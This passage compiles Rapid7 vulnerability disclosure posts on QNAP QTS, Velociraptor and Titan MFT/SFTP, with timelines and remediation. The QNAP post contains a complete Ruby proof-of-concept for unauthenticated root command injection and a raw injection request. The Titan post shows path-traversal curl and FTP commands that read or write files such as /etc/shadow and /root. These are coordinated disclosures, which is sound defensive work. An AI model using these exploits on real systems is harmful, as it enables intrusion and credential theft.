  • March 4, 2024: Rapid7 notes that JetBrains has published a blog announcing the release of TeamCity 2023.11.4. After looking at the release, Rapid7 confirms that JetBrains has patched the vulnerabilities. Rapid7 contacts JetBrains expressing concern that a patch was released without notifying or coordinating with our team, and without publishing advisories for the security issues. Rapid7 reiterates our vulnerability disclosure policy, which stipulates: “If Rapid7 becomes aware that an update was made generally available after reporting the issue to the responsible organization, including silent patches which tend to hijack CVD norms, Rapid7 will aim to publish vulnerability details within 24 hours.” Rapid7 also asks whether JetBrains is planning on publishing an advisory with CVE information.
  • March 4, 2024: JetBrains publishes a blog on the security issues (CVE-2024-27198 and CVE-2024-27199). JetBrains later responds indicating they have published an advisory with CVEs, and CVEs are also included in release notes. JetBrains does not respond to Rapid7 on the uncoordinated disclosure.
  • March 4, 2024: This disclosure.

CVE-2023-47218: QNAP QTS and QuTS Hero Unauthenticated Command Injection (FIXED)

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/

CVE-2023-47218: QNAP QTS and QuTS Hero Unauthenticated Command Injection (FIXED)

Rapid7 has identified an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and QuTS hero. QTS is a core part of the firmware for numerous QNAP entry- and mid-level Network Attached Storage (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices. The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature. The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully initialized, the quick.cgi component is disabled on the system.

An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection, allowing the attacker to execute arbitrary commands on the device.

Credit

This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

CVE-2023-47218 has been addressed in multiple versions of QTS, QuTS hero and QuTScloud. QNAP prioritizes security, actively partnering with esteemed researchers like Rapid7 to promptly address and rectify vulnerabilities, ensuring the safety of our customers. For more information, please see: https://www.qnap.com/en/security-advisory/qsa-23-57

Dedicated to excellence, QNAP (Quality Network Appliance Provider) offers holistic solutions encompassing software development, hardware design, and in-house manufacturing. Beyond mere storage, QNAP envisions NAS as a robust platform, facilitating cloud-based networking for users to seamlessly host and advance artificial intelligence analysis, edge computing, and data integration on their QNAP solutions.

Remediation

QNAP released a fix for this vulnerability on January 25, 2024. According to QNAP, the following versions remediate the issue:

  • QTS 5.1.x – Fixed in QTS 5.1.5.2645 build 20240116 and later
  • QuTS hero h5.1.x – Fixed in QuTS hero h5.1.5.2647 build 20240118 and later

For more details please read the QNAP security advisory.

QNAP have provided the following remediation guidelines:

To secure your QNAP NAS, we recommend regularly updating your system to the latest version to benefit from vulnerability fixes. You can check the product support status to see the latest updates available to your NAS model.

Analysis

During our analysis we targeted the QTS based firmware, version 5.1.2.2533 for a QNAP TS-464 NAS device. We extracted the file system using the following steps:

user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.zip
# Unzip the firmware.
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip 
Archive:  TS-X64_20230926-5.1.2.2533.zip
  inflating: TS-X64_20230926-5.1.2.2533.img  
user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.img  TS-X64_20230926-5.1.2.2533.zip
# Decrypt the firmware using the tool qnap-qts-fw-cryptor.
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
Signature check OK, model TS-X64, version 5.1.2
Encrypted 1048576 of all 220239236 bytes
[99% left]
[99% left]
[99% left]
...snip
[02% left]
[00% left]
[00% left]
user@dev:~/qnap/$ ls
qnap-qts-fw-cryptor.py  TS-X64_20230926-5.1.2.2533.img  TS-X64_20230926-5.1.2.2533.tgz  TS-X64_20230926-5.1.2.2533.zip
# Recreate the root file system.
user@dev:~/qnap/$ mkdir firmware
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/

When decompiling the /home/httpd/cgi-bin/quick/quick.cgi binary, we can see a function switch_os can be called if an HTTP parameter named func has a value switch_os.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 Input; // rax
  __int64 input; // rbp
  _BOOL4 v5; // ebx
  __int64 func_param; // rax
  __int64 func_param_; // r12
  bool v8; // zf
  unsigned int v9; // ebp
  __int64 todo_param; // rbx

  sub_415C82(1LL, a2, a3);
  dword_630794 = sub_415F8B();
  dword_630790 = sub_415F41();
  dword_63079C = sub_415F1E();
  Input = CGI_Get_Input();
  input = Input;
  if ( Input )
  {
    func_param = CGI_Find_Parameter(Input, (char *)"func");
    func_param_ = func_param;
    if ( func_param )
    {
      v8 = strcmp(*(const char **)(func_param + 8), "main") == 0;
      v5 = !v8;
      if ( v8 )
      {
        v9 = rand();
        puts("301 Moved Permanently");
        printf("Location: /cgi-bin/quick/html/index.html?count=%d\n", v9);
        return v5;
      }
      if ( !CGI_Find_Parameter(input, "todo") )
        goto LABEL_6;
      todo_param = CGI_Find_Parameter(input, "todo");
      if ( !strcmp(*(const char **)(func_param_ + 8), "switch_os") )
      {
        if ( (unsigned int)switch_os(*(_QWORD *)(todo_param + 8), input) ) // <---

The switch_os function will call a function uploaf_firmware_image if an HTTP parameter named todo has a value of uploaf_firmware_image.

__int64 __fastcall switch_os(const char *todo_param, const char *input)
{
  __int64 os_name_param; // rax
  __int64 v3; // rbx
  FILE *v4; // rax
  FILE *v5; // rbp
  const char *v6; // rax
  char *v7; // rbp
  __int64 v8; // rdx
  __int64 result; // rax
  __int64 v10; // rdx
  char os_name[32]; // [rsp+0h] [rbp-38h] BYREF

  memset(os_name, 0, sizeof(os_name));
  os_name_param = CGI_Find_Parameter((__int64)input, "os_name");
  if ( os_name_param )
    strncpy(os_name, *(const char **)(os_name_param + 8), 31uLL);
  if ( !strcmp(todo_param, "uploaf_firmware_image") )
  {
    v3 = uploaf_firmware_image(); // <--- 

In the function uploaf_firmware_image, we can see a helper function CGI_Upload is used to read a value from the CGI request into a local variable called file_name below.

__int64 uploaf_firmware_image()
{
  //...snip...
  if ( (unsigned int)CGI_Upload((__int64)"/mnt/update", 0LL, (__int64)file_name) ) // <---
    return json_pack(
             "{si si ss}",
             4341610LL,
             200LL,
             "error_code",
             4LL,
             "error_message",
             "upload full_path_filename fail.");
  sprintf(file, "%s/%s", "/mnt/update", file_name); // <---
  if ( chmod(file, 436u) < 0 )
    return json_pack(
             "{si si ss}",
             4341610LL,
             200LL,
             "error_code",
             5LL,
             "error_message",
             "upload full_path_filename fail.");
  if ( !fork() )
  {
    v2 = open("/dev/null", 2);
    if ( v2 != -1 )
    {
      close(0);
      dup2(v2, 0);
      close(1);
      dup2(v2, 1);
      close(2);
      dup2(v2, 2);
      close(v2);
    }
    sprintf(buf266, "echo 0 > %s", "/tmp/update_process");
    system(buf266);
    sprintf(buf266, "/usr/share/updater/update_fw -f \"%s\"", file); // <---
    if ( system(buf266) ) // <--- command injection.
    {
      Set_Private_Profile_Integer("Switch OS", "Step00 Status", 7LL, "/tmp/quick_tmp.conf");
    }

We can see above that the value extracted by CGI_Upload will be used to construct an OS command, which is then passed to a call to system to execute the command. If an attacker can supply a double quote character in the file name string, a command injection vulnerability can be achieved.

To understand how an attacker can achieve this, we must examine CGI_Upload from the \usr\lib\libuLinux_fcgi.so.0.0 binary. CGI_Upload will call cgi_save_file_ex to extract several fields from a POST request’s multipart form data.

__int64 __fastcall cgi_save_file_ex(__int64 a1, char *a2, int a3)
{
// ...snip...
  CGI_Get_Http_Info(&dest);
// ...snip...
        strtok(v36, ";");
        strtok(0LL, ";");
        v18 = strtok(0LL, "\n");
        if ( v18 )
          snprintf(v36, 0x1000uLL, "%s", v18);
        strtok(v36, "\"");
        v19 = strtok(0LL, "\"");
        if ( v19 )
          strncpy(a2, v19, n);
        if ( dest.useragent_type == 3 ) // <---
          trans_http_str((__int64)a2, (__int64)a2, 1LL); // <---

The call to CGI_Get_Http_Info at the beginning of the function will retrieve some metadata about the request. The form field values are extracted (we have omitted most of the logic here for brevity). When storing an extracted field value, a check is done against the requested metadata, and if the user agent was given an enum value of 3, a special call to trans_http_str will occur. The function trans_http_str will URL decode any value we pass it, e.g. %22 will be decoded to a double quote character. This will allow an attacker to escape the command string in the function uploaf_firmware_image and achieve command injection.

To understand why the metadata’s user agent type may be set to 3, we can examine the function CGI_Get_Http_Info, as shown below.

char *__fastcall CGI_Get_Http_Info(struct_dest *dest)
{
  // ...snip…
  v10 = (const char *)QFCGI_getenv("HTTP_USER_AGENT");
  v11 = v10;
  if ( !v10 )
  {
LABEL_29:
    dest->useragent_type = 0;
    goto LABEL_16;
  }
  if ( strstr(v10, "Safari") )
  {
    dest->useragent_type = 7;
    goto LABEL_16;
  }
  if ( !strstr(v11, "MSIE") )
  {
    if ( strstr(v11, "Mozilla") )
    {
      if ( strstr(v11, "Macintosh") )
        dest->useragent_type = 3; // <---
      else 
        dest->useragent_type = strstr(v11, "Linux") == 0LL ? 4 : 6;
      goto LABEL_16;
    }
    goto LABEL_29;
  }

We can see that if the HTTP request’s user agent contains both the string “Mozilla” and the string “Macintosh”, then the user agent type will be set to 3.

We can therefore exploit this vulnerability with an HTTP POST request that looks like this:

POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: Mozilla Macintosh
Accept: */*
Content-Length: 164
Content-Type: multipart/form-data;boundary="avssqwfz"

--avssqwfz
Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22"
Content-Type: text/plain

skfqduny
--avssqwfz–

Note the use of the URL encoded double quote %22 to perform the command injection, followed by the execution of a base64 encoded command (“id” in the example above). Finally, we can see the requested user agent is “Mozilla Macintosh” to enable the URL decoding of multipart form fields.

Proof-of-Concept Exploit

The following is a Ruby proof-of-concept exploit called qnap_hax.rb that can be used to successfully exploit a vulnerable target.

require 'optparse'
require 'base64'
require 'socket' 

def log(txt)
  $stdout.puts txt
end

def rand_string(len)
  (0...len).map {'a'.ord + rand(26)}.pack('C*')
end

def send_http_data(ip, port, data)
  s = TCPSocket.open(ip, port)
  
  s.write(data)
  
  result = ''
  
  while line = s.gets
    result << line
  end
  
  s.close

  return result
end

def hax_single_command(ip, port, cmd, read_output=true, output_file_name='a')

  payload = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d)"

  if read_output
    payload << ">#{output_file_name}"
  end

  payload << ")\""

  payload.gsub!("\"", '%22')
  payload.gsub!(";", '%3B')

  if payload.length > 127
    log "[-] Error, the command is too long (#{payload.length}), must be < 128 bytes."
    return false
  end
  
  boundary = rand_string(8)
  
  txt  = "--#{boundary}\r\n"
  txt << "Content-Disposition: form-data; #{rand_string(8)}=\"field2\"; #{rand_string(8)}=\"#{payload}\"\r\n"
  txt << "Content-Type: text/plain\r\n"
  txt << "\r\n"
  txt << "#{rand_string(8)}\r\n"
  txt << "--#{boundary}--\r\n"

  body  = "POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1\r\n"
  body << "Host: #{ip}:#{port}\r\n"
  body << "User-Agent: Mozilla Macintosh\r\n"
  body << "Accept: */*\r\n"
  body << "Content-Length: #{txt.bytesize}\r\n"
  body << "Content-Type: multipart/form-data;boundary=\"#{boundary}\"\r\n"
  body << "\r\n"
  body << txt

  result = send_http_data(ip, port, body)
  
  if result&.match? /HTTP\/1\.\d 200 OK/
    log "[+] Success, executed command: #{cmd}"
  else
    log "[-] Failed to execute command: #{cmd}"
    log result
    
    return false
  end
  
  if read_output

    result = send_http_data(ip, port, "GET /cgi-bin/quick/#{output_file_name} HTTP/1.1\r\nHost: #{ip}:#{port}\r\nAccept: */*\r\n\r\n")
    
    if result&.match? /HTTP\/1\.\d 200 OK/

      found_content = false
      
      result.lines.each do |line|
        if line == "\r\n"
          found_content = true
          next
        end
        
        log line if found_content 
      end    
    else
      log "[-] Failed to read back output."
      log result
      
      return false
    end
  end

  return true
end

def hax(options)

  log "[+] Targeting: #{options[:ip]}:#{options[:port]}"

  output_file_name = 'a'

  return unless hax_single_command(options[:ip], options[:port], options[:cmd], true, output_file_name)
  
  return unless hax_single_command(options[:ip], options[:port], "rm -f #{output_file_name}", false, output_file_name)
  
  return unless hax_single_command(options[:ip], options[:port], 'rm -f /mnt/HDA_ROOT/update/*', false, output_file_name)
end

options = {}

OptionParser.new do |opts|
  opts.banner = "Usage: hax1.rb [options]"

  opts.on("-t", "--target TARGET", "Target IP") do |v|
    options[:ip] = v
  end
  
  opts.on("-p", "--port PORT", "Target Port") do |v|
    options[:port] = v.to_i
  end  
  
  opts.on("-c", "--cmd COMMAND", "Command to execute") do |v|
    options[:cmd] = v
  end
end.parse!

unless options.key? :ip
  log '[-] Error, you must pass a target IP: -t TARGET'
  return
end

unless options.key? :port
  log '[-] Error, you must pass a target port: -p PORT'
  return
end

unless options.key? :cmd
  log '[-] Error, you must pass a command to execute: -c COMMAND'
  return
end

log "[+] Starting..."

hax(options)

log "[+] Finished."

Exploitation

To verify this vulnerability, after manually extracting the firmware, we used the QEMU emulator to run the built-in web server. As the vulnerable component quick.cgi is present in an uninitialized system, we manually enabled the feature, allowing a remote attacker to access the vulnerable CGI script over HTTP.

Emulate the Firmware

We performed the following steps to run the builtin web server _httpd_ via QEMU, and enable the vulnerable quick.cgi component.

user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
# Copy the qemu-x86_64-static binary into the root file system folder.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
# Run _thttpd_ via QEMU.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080  -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
# Verify the HTTP server is running.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1195417/./qemu-x86_ 
# Drop to a shell via QEMU...
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
# Enable the component quick.cgi
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
# Fix a linker issue with QEMU.
sh-3.2# rm /lib/libnl-3.so.200
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
# This folder will be present in a NAS device containing a hard drive.
sh-3.2# mkdir /mnt/HDA_ROOT

Run the PoC

Finally, to verify the vulnerability, from a remote machine we ran the exploit script qnap_hax.rb against the remote target, and successfully executed arbitrary OS commands.

>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c id
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: id
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.

>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c "cat /etc/shadow"
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: cat /etc/shadow
admin:$1$$CoERg7ynjYLdj2j4glJ34.:14233:0:99999:7:::
guest:$1$$ysap7EeB9ODCtO46Psdbq/:14233:0:99999:7:::
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.

Rapid7 Customers

An unauthenticated vulnerability check for CVE-2023-47218 will be available to InsightVM and Nexpose customers as of the February 13, 2024 content release.

Timeline

  • November 9, 2023: Rapid7 makes initial contact with QNAP Product Security Incident Response Team (PSIRT).
  • November 13, 2023: Rapid7 provides QNAP with a detailed technical advisory.
  • November 27, 2023: Rapid7 provides QNAP with a standalone proof of concept exploit.
  • December 5, 2023: QNAP confirms report findings and assigns CVE-2023-47218 to the vulnerability. Rapid7 suggests January 8, 2024 as a coordinated disclosure date.
  • December 7, 2023: Vendor informs Rapid7 they are looking to complete fixes by the end of January; they request an extension to February 7, 2024 for disclosure.
  • December 7, 2023: Rapid7 agrees to February 7, 2024 as a coordinated disclosure date and requests that QNAP review our disclosure policy. Rapid7 also reinforces that coordinated disclosure means patches, advisories, and other vulnerability details are released at the same time, without silently patching security issues.
  • December 13, 2023: Rapid7 requests that vendor re-confirm timeline; vendor confirms February 7, 2024 for disclosure, acknowledges Rapid7’s disclosure policy.
  • December 18, 2023: Rapid7 requests additional information about vendor-supplied mitigation guidance and affected products; vendor sends additional info to Rapid7.
  • January 8, 2024 – January 10, 2024: Rapid7 requests an update and additional information.
  • January 25, 2024 – January 26, 2024: Vendor contacts Rapid7 and informs us they have released patches for this vulnerability. Vendor requests that Rapid7 wait until February 26, 2024 to publish our disclosure. Rapid7 requests further information on why disclosure was not coordinated despite previous communications. QNAP and Rapid7 discuss and agree to publish advisories jointly on February 13, 2024.
  • February 13, 2024: This disclosure.

CVE-2023-5950 Rapid7 Velociraptor Reflected XSS

Post Syndicated from Dr. Mike Cohen original https://blog.rapid7.com/2023/11/10/cve-2023-5950-rapid7-velociraptor-reflected-xss/

CVE-2023-5950 Rapid7 Velociraptor Reflected XSS

This advisory covers a specific issue identified in Velociraptor and disclosed by a security code review. We want to thank Mathias Kujala for working with the Velociraptor team to identify and rectify this issue.  It has been fixed as of Version 0.7.0-4, released November 6, 2023.

CVSS · HIGH · 8.6/10 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

  • Scoring scenario: GENERAL
  • attackVector: NETWORK
  • attackComplexity: LOW
  • privilegesRequired: NONE
  • userInteraction: NONE
  • scope: UNCHANGED
  • confidentialityImpact: HIGH
  • integrityImpact: LOW
  • availabilityImpact: LOW

Open CVSS Calc

Rapid7 Velociraptor versions prior to 0.7.0-4 suffer from a reflected cross site scripting vulnerability. This vulnerability allows attackers to inject JS into the error path, potentially leading to unauthorized execution of scripts within a user’s web browser. This vulnerability is fixed in version 0.7.0-4 and a patch is available to download. Patches are also available for version 0.6.9 (0.6.9-1). This issue affects the server only.

Problem

CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

Remediation

To remediate these vulnerabilities, Velociraptor users should upgrade their servers.

Product Status

Product affected: Rapid7 Velociraptor prior to 0.7.0-4

Credits

Mathias Kujala

References

docs.velociraptor.app/blog/2023/2023-07-27-release-notes-0.7.0/

Timeline

  • 2023-11-02 – Notification of the issue
  • 2023-11-06 – Release 0.7.0-4 made available on Github

Multiple Vulnerabilities in South River Technologies Titan MFT and Titan SFTP [FIXED]

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/10/16/multiple-vulnerabilities-in-south-river-technologies-titan-mft-and-titan-sftp-fixed/

Multiple Vulnerabilities in South River Technologies Titan MFT and Titan SFTP [FIXED]

As part of our continuing research project into managed file transfer risk, including JSCAPE MFT and Fortra Globalscape EFT Server, Rapid7 discovered several vulnerabilities in South River Technologies’ Titan MFT and Titan SFTP servers. Although these require unusual circumstances or non-default configurations, as well as a valid user login, the consequences of exploitation can lead to remote superuser access to the affected host.

Products

Titan MFT and Titan SFTP are business-grade Managed File Transfer (MFT) servers that provide enterprise-class, high-availability failover and clustering. They are very similar products with a similar code base, although Titan MFT has some extra features such as WebDAV.

We confirmed that these issues affect Titan MFT and Titan SFTP versions 2.0.16.2277 and 2.0.17.2298 (earlier versions are also affected, per the vendor). All issues listed below affect the Linux version, and some additionally affect the Windows version (we will note which platforms are affected by which issues).

Discoverer

These issues were discovered by Ron Bowes of Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

South River Technologies is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.

Impact

Successful exploitation of several of these issues grants an attacker remote code execution as the root or SYSTEM user; however, all issues are post-authentication and require non-default configurations and are therefore unlikely to see widescale exploitation.

Vulnerabilities

CVE-2023-45685: Authenticated Remote Code Execution via "zip slip"

Titan MFT and Titan SFTP have a feature where .zip files can be automatically extracted when they are uploaded over any supported protocol. Files within the .zip archive are not validated for path traversal characters; as a result, an authenticated attacker can upload a .zip file containing a filename such as ../../file, which will be extracted outside the user’s home directory. This affects both Linux and Windows servers, but we will use Linux as an example of how this might be exploited.

If an attacker can write a file to anywhere on a Linux file system, they can leverage that to gain remote access to the target host in several different ways:

  • Overwrite /root/.ssh/authorized_keys with an attacker’s SSH key, allowing them to log in to an interactive session
  • Upload a script to /etc/cron.hourly that will execute code at some point in the future
  • Upload a script to /etc/profile.d that will execute next time a user logs in to the Linux host
  • Overwrite a system binary (such as /bin/bash) with a backdoored version

This vulnerability is mitigated in two different ways:

  1. This is a non-default feature, so an administrator would have had to configure it before a server is vulnerable
  2. Exploitation requires a user to have an account with permission to upload files

Demo

A so-called "zip slip" is a common class of vulnerability, and an example file can be created using a Metasploit module (note that this is a generic module which writes an ELF file containing an executable payload):

msf6 > use exploit/multi/fileformat/zip_slip
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp

msf6 exploit(multi/fileformat/zip_slip) > set FTYPE zip
FTYPE => zip

msf6 exploit(multi/fileformat/zip_slip) > set FILENAME test.zip
FILENAME => test.zip

msf6 exploit(multi/fileformat/zip_slip) > show options

msf6 exploit(multi/fileformat/zip_slip) > set TARGETPAYLOADPATH ../../../../../../../root/testzipslip
TARGETPAYLOADPATH => ../../../../../../../root/testzipslip

msf6 exploit(multi/fileformat/zip_slip) > exploit

[+] test.zip stored at /home/ron/.msf4/local/test.zip
[*] When extracted, the payload is expected to extract to:
[*] ../../../../../../../root/testzipslip

Then upload it with any protocol that the user has access to (HTTP, FTP, WebDAV, SFTP):

$ ncftp -u 'testuser' -p 'b' 10.0.0.68
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.0.0.68...                                                                                          
TitanMFT 2.0.16.2277 Ready.
Logging in...                                                                                                       
Welcome testuser from 10.0.0.227. You are now logged in to the server.
Logged in to 10.0.0.68.                                                                                             
ncftp / > put ~/.msf4/local/test.zip
/home/ron/.msf4/local/test.zip:                        331.00 B    7.92 kB/s  

And verify that it extracts outside of the user’s home directory:

$ ssh [email protected] ls /root
testzipslip

Note that the payload generated by Metasploit is an ELF file by default; however, using this technique, any file can be uploaded to any location on the file system.

CVE-2023-45686: Authenticated Remote Code Execution via WebDAV Path Traversal

The WebDAV handler does not validate the path specified by the user. That means that the user can write files outside of their home directory by adding ../ characters to the WebDAV URL. Successful exploitation permits an authenticated attacker to write an arbitrary file to anywhere on the file system, leading to remote code execution.

WebDAV is not enabled by default, so an administrator would have had to enable WebDAV for a target to be vulnerable. This also doesn’t affect Titan SFTP, which doesn’t support the WebDAV protocol; additionally, as far as we can tell, this only affects the Linux version of Titan MFT.

Demo

The curl utility with the PUT verb can be used to upload a file (note that --path-as-is is required, otherwise curl will normalize the path and remove the ../ portion of the URL):

$ curl -i -X PUT -u testuser:b --data-binary 'hi' --path-as-is http://10.0.0.68:8080/../../../../../../../../../root/testwebdav
HTTP/1.1 201 Created
Set-Cookie: SRTSessionId=NV7pXyEHw9bdkofCLp3dI5wMq96N7iLD; Path=/; Expires=2023-Sep-25 10:09:14 GMT; HttpOnly
Connection: close
Server: SRT WebDAV Server
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Accept-Ranges: bytes
ETag: "8F434346648F6B96DF89DDA901C5176B10A6D83961DD3C1AC88B59B2DC327AA4"

We can verify the file is written from an SSH session:

$ ssh [email protected] ls /root/
testwebdav

CVE-2023-45687: Session Fixation on Remote Administration Server

When an administrator authenticates to the remote administration server’s API using an Authorization header (HTTP basic or digest authentication) and sets a SRTSession header value to a value known by an attacker (including the literal string null), the session token is granted privileges that the attacker can use. For example, the following request would make the string "test" into a valid session token:

$ curl -u ron:myfakepassword -ik -H 'Srtsessionid: test' 'https://10.0.0.68:41443/WebApi/Process'

We originally identified this as an authentication bypass, but later realized (from discussing it with the vendor) that the Srtsessionid value must match on the client and server, and the likelihood of getting an administrator to set an arbitrary header is exceedingly low. This affects both the Linux and Windows versions of the software, although the exploit path for Windows would be different than the Linux path we discuss below.

If an attacker can either steal a session token or trick an administrator into authorizing an arbitrary session token, the administrative access can be used to write an arbitrary file to the file system using the following steps (on Linux):

  • Create a new user with an arbitrary home folder (eg, /root/.ssh)
  • Log in to one of the file-upload services, such as FTP, using that account
  • Upload a file, such a authorized_keys

Since the service runs as root, this lets an attacker upload or download any file. We implemented a proof of concept that demonstrates how an attacker can achieve remote code execution on a target system by abusing administrator-level access.

CVE-2023-45688: Information Disclosure via Path Traversal on FTP

The SIZE command on FTP doesn’t properly sanitize path traversal characters, which permits an authenticated user to get the size of any file on the file system. This requires an account that can log in via the FTP protocol, and appears to only affect the Linux versions of Titan MFT and Titan SFTP.

Demo

You can test this with the netcat utility:

$ nc 10.0.0.69 21
220 TitanMFT 2.0.17.2298 Ready.
USER test 
331 User name okay, need password.
PASS a
230 Welcome test from 10.0.0.227. You are now logged in to the server.
SIZE ../../../../../../../etc/shadow
213 1050
SIZE ../../../../../../../etc/hostname
213 7
SIZE ../../../../../../../etc/nosuchfile
550 No such file or directory

In that example, the attacker can determine that /etc/shadow is 1050 bytes, /etc/hostname is 7 bytes, and /etc/nosuchfile doesn’t exist.

CVE-2023-45689: Information Disclosure via Path Traversal in Admin Interface

Using the MxUtilFileAction model, an administrator can retrieve and delete files from anywhere on the file system by using ../ sequences in their path. Both Linux and Windows servers are affected by this issue. Note that administrators have full access to the host’s file system using other techniques, so this is a very minor issue.

Demo

Note: This requires a valid session id (in the example below, 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB):

$ curl -iks -H 'Content-Type: application/json' -H 'Srtsessionid: 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB' --data-binary '[{"Model":"MxUtilFileAction","ServerGUID":"db2112ad-0000-0000-0000-100000000001","Action":"l","Data":{"action":"d","fileList":["/var/southriver/srxserver/logs/Local Administration Server/../../../../../etc/shadow"],"domainLogs":true}}]' 'https://10.0.0.68:41443/WebApi/Process'
HTTP/2 200 
content-type: application/x-msdownload
date: Tue, 19 Sep 2023 21:02:07 GMT
content-length: 1155
strict-transport-security: max-age=2592000
content-security-policy: base-uri 'self';
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
referrer-policy: origin
content-disposition: attachment; filename=shadow; filename*=UTF-8''shadow

root:$6$7oOiiC2AyTA6p7LG$mmvUvQYTSN/E9DBfOOGldok6gd6iP8G7SeR20Va30JYCKPp14gzMhmOUrw3o0t6erwwemssYgjcDGqYI/jOWA0:19619:0:99999:7:::
[...]

CVE-2023-45690: Information Leak via World-Readable Database + Logs

Password hashes appear in world-readable files, including databases and log files. Non-root accounts with access to the host can use those files to upgrade their privileges to root. Since shell access is required before this can be leveraged, this vulnerability is fairly minor, but we believe that local privilege escalation issues are still important to address.

You can use the strings utility to examine the database file as any user account (they can also be loaded in sqlite3):

ron@titan:~$ strings /var/southriver/srxserver/database/srxdbDB2112AD555500000000100000000001.db | grep -o '"PasswordHash":"[^"]*"'
"PasswordHash":"5267768822EE624D48FCE15EC5CA79CBD602CB7F4C2157A516556991F22EF8C7B5EF7B18D1FF41C59370EFB0858651D44A936C11B7B144C48FE04DF3C6A3E8DA"
"PasswordHash":"72A8D535781681A613D4F8ED06192020AFDA3B1B6C3C48A392FFAB2DF033D23F791BB6CCBE3B134B4A721BFE1CFE6CD06581CA74EAAEE5343CCD70DC3115F984"
"PasswordHash":"57E38B3A0621901EC5C64FA1864A5D16E17CE4DDF9CD084E4E72D0EEEC2D270353D033C972E5B5C646422B56F7EAA11FD54BAAC0A19F6A20CC8D93DF6063DB30"

You can also export logs with journalctl as any user:

ron@titan2:~$ journalctl -u titanmft.service  | grep 'stored hash'
Sep 26 22:28:36 titan2 srxserver[3526]: 2023-09-26 22:28:36 [Info/-/007] Validated incoming user against stored hash [7632AC9FECE0727899598E82E1601669F76D1D2AB75F33AE6A57D21060E22DB93E9D267155909E7EC5EECA20382A18D5D246A4CCAF64466D16974124BA0EC22F] and the result is True
Sep 26 22:34:02 titan2 srxserver[3526]: 2023-09-26 22:34:02 [Info/-/065] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True
Sep 26 22:34:15 titan2 srxserver[3526]: 2023-09-26 22:34:15 [Info/-/065] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True
